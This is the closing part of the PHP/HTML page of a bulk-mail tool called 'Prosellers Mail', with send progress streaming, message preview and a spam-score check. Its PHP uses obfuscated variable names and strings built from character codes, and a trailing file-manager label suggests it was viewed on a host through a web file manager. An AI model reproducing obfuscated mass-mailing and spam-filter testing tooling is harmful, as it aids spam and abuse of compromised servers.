id="mailer-send-btn" name="send" value="1" class="w-full rounded-md bg-brand-500 px-4 py-3 text-2xl font-normal text-slate-950 shadow-md shadow-brand-500/20 transition hover:bg-brand-400">Send</button> <button type="submit" name="preview" value="1" class="w-full rounded-md border border-cyan-600/50 bg-cyan-950/40 px-4 py-3 text-2xl font-normal text-cyan-200 transition hover:bg-cyan-900/50">Preview</button> <button type="submit" name="score" value="1" class="w-full rounded-md border border-slate-600 bg-slate-800/80 px-4 py-3 text-2xl font-normal text-slate-300 transition hover:bg-slate-700/80">Spam score</button> </div> </aside> </div> <div id="send-progress-wrap" class="mt-4 hidden rounded-lg border border-slate-700 bg-slate-950/80 p-4"> <div class="mb-2 flex items-center justify-between gap-2 text-lg text-slate-300"> <span id="send-progress-text" class="min-w-0 flex-1 truncate">Preparing…</span> <span id="send-progress-pct" class="shrink-0 font-mono text-brand-400">0%</span> </div> <div class="h-3 w-full overflow-hidden rounded-full bg-slate-800"> <div id="send-progress-bar" class="h-full w-0 rounded-full bg-brand-500 transition-[width] duration-200 ease-out"></div> </div> </div> <div id="send-log-panel-wrap" class="mt-4 hidden rounded-lg border border-slate-800/80 bg-slate-950/90 p-3 shadow-inner"> <div class="mb-2 text-sm font-normal uppercase tracking-wider text-slate-500">Send log</div> <pre id="send-log-panel" class="max-h-56 overflow-y-auto whitespace-pre-wrap break-all font-mono text-sm leading-relaxed text-slate-400"></pre> <p id="send-log-note" class="mt-3 border-t border-slate-800 pt-3 text-base leading-snug text-slate-500"></p> </div> </form> </div> <?php if($_9a2266401e!==implode('',array_map('chr',array()))):?> <div id="preview-modal" class="fixed inset-0 z-[100] flex items-center justify-center p-4 sm:p-6" role="dialog" aria-modal="true" aria-labelledby="preview-modal-title"> <div id="preview-modal-backdrop" class="absolute inset-0 bg-black/70 backdrop-blur-sm"></div> <div class="relative z-10 flex max-h-[min(90vh,900px)] w-full max-w-5xl flex-col overflow-hidden rounded-2xl border border-slate-700 bg-slate-900 shadow-2xl"> <div class="flex shrink-0 items-center justify-between gap-3 border-b border-slate-700 px-4 py-3 sm:px-5"> <h3 id="preview-modal-title" class="text-xl font-normal text-slate-200">Message preview</h3> <button type="button" id="preview-modal-close" class="rounded-lg border border-slate-600 bg-slate-800 px-4 py-2 text-lg text-slate-300 transition hover:bg-slate-700">Close</button> </div> <?php if($_27fe6092cd):?> <?php if($_d24a0fcc68!==implode('',array_map('chr',array(104,116,109,108)))):?> <div class="border-b border-amber-500/30 bg-amber-500/10 px-4 py-2 text-base text-amber-200/90 sm:px-5">Your message looks like HTML but Type is set to Plain. For sending as HTML, choose Type: HTML.</div> <?php endif;?> <div class="flex shrink-0 gap-1 border-b border-slate-800 px-3 pt-2 sm:px-4" id="preview-tabs"> <button type="button" data-preview-tab="rendered" class="preview-tab rounded-t-lg border border-b-0 border-slate-600 bg-brand-500/20 px-4 py-2 text-lg text-brand-300">Rendered</button> <?php if($_02a1e52c2a!==implode('',array_map('chr',array()))):?> <button type="button" data-preview-tab="plain" class="preview-tab rounded-t-lg border border-transparent border-b-0 px-4 py-2 text-lg text-slate-500 hover:text-slate-300">Plain text</button> <?php endif;?> </div> <div id="preview-panel-rendered" class="preview-panel min-h-[50vh] flex-1 bg-white"> <iframe id="preview-html-iframe" title="HTML preview" class="h-[min(70vh,640px)] w-full border-0" sandbox="allow-same-origin" src="about:blank"></iframe> </div> <?php if($_02a1e52c2a!==implode('',array_map('chr',array()))):?> <div id="preview-panel-plain" class="preview-panel hidden min-h-[50vh] flex-1 overflow-auto bg-slate-950 p-4"> <pre class="whitespace-pre-wrap font-mono text-lg leading-relaxed text-slate-300"><?=h($_02a1e52c2a)?></pre> </div> <?php endif;?> <?php else:?> <div class="min-h-[40vh] flex-1 overflow-auto bg-slate-950 p-4 sm:p-5"> <pre class="whitespace-pre-wrap font-mono text-xl leading-relaxed text-slate-300"><?=h($_9a2266401e)?></pre> </div> <?php endif;?> </div> </div> <script> (function () { var modal = document.getElementById('preview-modal'); if (!modal) return; document.body.classList.add('overflow-hidden'); function closeModal() { modal.remove(); document.body.classList.remove('overflow-hidden'); } document.getElementById('preview-modal-close').addEventListener('click', closeModal); document.getElementById('preview-modal-backdrop').addEventListener('click', closeModal); document.addEventListener('keydown', function esc(e) { if (e.key === 'Escape') { closeModal(); document.removeEventListener('keydown', esc); } }); var tabs = modal.querySelectorAll('.preview-tab'); var panelRendered = document.getElementById('preview-panel-rendered'); var panelPlain = document.getElementById('preview-panel-plain'); tabs.forEach(function (btn) { btn.addEventListener('click', function () { var tab = btn.getAttribute('data-preview-tab'); tabs.forEach(function (b) { var on = b.getAttribute('data-preview-tab') === tab; b.classList.toggle('border-slate-600', on); b.classList.toggle('bg-brand-500/20', on); b.classList.toggle('text-brand-300', on); b.classList.toggle('border-transparent', !on); b.classList.toggle('text-slate-500', !on); }); if (panelRendered) panelRendered.classList.toggle('hidden', tab !== 'rendered'); if (panelPlain) panelPlain.classList.toggle('hidden', tab !== 'plain'); }); }); <?php if($_27fe6092cd):?> var previewIframe = document.getElementById('preview-html-iframe'); if (previewIframe) { var previewHtml = <?php echo json_encode($_9a2266401e,JSON_UNESCAPED_UNICODE|JSON_HEX_TAG|JSON_HEX_AMP|JSON_HEX_APOS|JSON_HEX_QUOT);?>; previewIframe.srcdoc = previewHtml; } <?php endif;?> })(); </script> <?php endif;?> <?php if($_e401ffc2f7!==implode('',array_map('chr',array()))):?> <div class="mt-4 rounded-lg border border-slate-800/80 bg-slate-900/90 p-4 shadow-lg backdrop-blur"> <h3 class="mb-3 text-lg font-normal uppercase tracking-wider text-slate-400">Spam report</h3> <p class="mb-3 rounded-md border border-slate-700/80 bg-slate-950/80 px-3 py-2 text-base leading-snug text-slate-500"> Rules with <span class="text-slate-400">0.0</span> pts are informational. Lines like <span class="text-slate-400">URIBL_*_BLOCKED_OPENDNS</span> come from Spamhaus blocking the checker’s DNS resolver (Postmark’s side), not your message. <span class="text-slate-400">NO_RECEIVED</span> is normal here because the sample is not relayed through real SMTP. </p> <div class="max-h-96 overflow-auto whitespace-pre-wrap rounded-md border border-slate-700 bg-slate-950 p-3 text-xl leading-normal text-slate-400"><?=h($_e401ffc2f7)?></div> </div> <?php endif;?> <p class="mt-6 border-t border-slate-800/80 pt-4 text-center text-lg text-slate-500">Prosellers Mail</p> </div> <div id="spam-score-loading" class="fixed inset-0 z-[200] hidden flex items-center justify-center p-6" role="status" aria-live="polite" aria-hidden="true"> <div class="absolute inset-0 bg-[#0b0f14]/85 backdrop-blur-md" aria-hidden="true"></div> <div class="relative z-10 flex max-w-sm flex-col items-center gap-5 rounded-2xl border border-slate-700/80 bg-slate-900/95 px-10 py-12 text-center shadow-2xl"> <div class="h-14 w-14 rounded-full border-4 border-brand-500/20 border-t-brand-400 animate-spin" aria-hidden="true"></div> <div> <p class="text-2xl text-slate-100">Checking spam score…</p> <p class="mt-2 text-lg text-slate-500">Postmark is analyzing your message</p> </div> </div> </div> <script> (function () { var form = document.getElementById('prosellers-mailer-form'); if (!form) return; var wrap = document.getElementById('send-progress-wrap'); var bar = document.getElementById('send-progress-bar'); var label = document.getElementById('send-progress-text'); var pctEl = document.getElementById('send-progress-pct'); var scoreOverlay = document.getElementById('spam-score-loading'); var logWrap = document.getElementById('send-log-panel-wrap'); var logPre = document.getElementById('send-log-panel'); var logNote = document.getElementById('send-log-note'); var sendInFlight = false; form.addEventListener('submit', function (e) { var sub = e.submitter; if (sub && sub.getAttribute('name') === 'score' && scoreOverlay) { scoreOverlay.classList.remove('hidden'); scoreOverlay.setAttribute('aria-hidden', 'false'); return; } if (!sub || sub.getAttribute('name') !== 'send') return; if (sendInFlight) { e.preventDefault(); return; } e.preventDefault(); sendInFlight = true; // new FormData(form) omits the submit button; PHP needs $_POST['send'] for streamed send. var fd; try { fd = new FormData(form, sub); } catch (err) { fd = new FormData(form); } fd.set('send', '1'); fd.set('stream_send', '1'); if (logPre) logPre.textContent = ''; if (logNote) logNote.textContent = ''; if (logWrap) logWrap.classList.add('hidden'); wrap.classList.remove('hidden'); bar.style.width = '0%'; bar.classList.remove('bg-rose-500'); bar.classList.add('bg-brand-500'); label.textContent = 'Starting…'; pctEl.textContent = '0%'; sub.disabled = true; fetch(form.action || window.location.href, { method: 'POST', body: fd, credentials: 'same-origin', headers: { Accept: 'application/x-ndjson' } }) .then(function (res) { if (!res.ok) throw new Error('HTTP ' + res.status); var ctype = (res.headers.get('content-type') || '').toLowerCase(); if (ctype.indexOf('text/html') !== -1) { return res.text().then(function (html) { var snip = (html || '').replace(/\s+/g, ' ').trim().slice(0, 160); throw new Error('Send returned a web page instead of NDJSON (is $_POST[send] missing?). ' + snip); }); } if (!res.body || typeof res.body.getReader !== 'function') { return res.text().then(function (text) { var lines = (text || '').split('\n'); for (var li = 0; li < lines.length; li++) { var line = lines[li].trim(); if (!line) continue; try { applyNdjsonLine(JSON.parse(line)); } catch (x) {} } }).finally(function () { sendInFlight = false; sub.disabled = false; }); } var reader = res.body.getReader(); var dec = new TextDecoder(); var buf = ''; function applyNdjsonLine(j) { if (j.log_line && logPre) { if (logWrap) logWrap.classList.remove('hidden'); logPre.textContent += (logPre.textContent ? '\n' : '') + j.log_line; logPre.scrollTop = logPre.scrollHeight; } if (j.error) { label.textContent = j.error; bar.classList.remove('bg-brand-500'); bar.classList.add('bg-rose-500'); bar.style.width = '100%'; pctEl.textContent = ''; sub.disabled = false; sendInFlight = false; return true; } if (j.percent != null) { bar.style.width = j.percent + '%'; pctEl.textContent = j.percent + '%'; } if (j.status) { label.textContent = j.sent != null && j.failed != null && j.total != null ? j.status + ' — ' + j.sent + ' sent, ' + j.failed + ' failed (' + j.current + '/' + j.total + ')' : j.status; } if (j.done) { bar.style.width = '100%'; pctEl.textContent = '100%'; if (j.message) label.textContent = j.message; if (j.delivery_note && logNote) { logNote.textContent = j.delivery_note; if (logWrap) logWrap.classList.remove('hidden'); } sub.disabled = false; sendInFlight = false; } return false; } function pump() { return reader.read().then(function (result) { buf += result.value ? dec.decode(result.value, { stream: !result.done }) : ''; if (result.done) { var tail = buf.trim(); if (tail) { try { applyNdjsonLine(JSON.parse(tail)); } catch (x) { var tailParts = buf.split('\n'); for (var ti = 0; ti < tailParts.length; ti++) { var ln = tailParts[ti].trim(); if (!ln) continue; try { if (applyNdjsonLine(JSON.parse(ln))) break; } catch (e2) {} } } } sub.disabled = false; sendInFlight = false; return; } var parts = buf.split('\n'); buf = parts.pop() || ''; for (var i = 0; i < parts.length; i++) { var line = parts[i].trim(); if (!line) continue; var j; try { j = JSON.parse(line); } catch (x) { continue; } if (applyNdjsonLine(j)) return; } return pump(); }); } return pump(); }) .catch(function (err) { label.textContent = 'Error: ' + (err.message || 'network'); bar.classList.remove('bg-brand-500'); bar.classList.add('bg-rose-500'); sub.disabled = false; sendInFlight = false; }); }); })(); </script> </body> </html>
💾 保存文件
← 返回文件管理器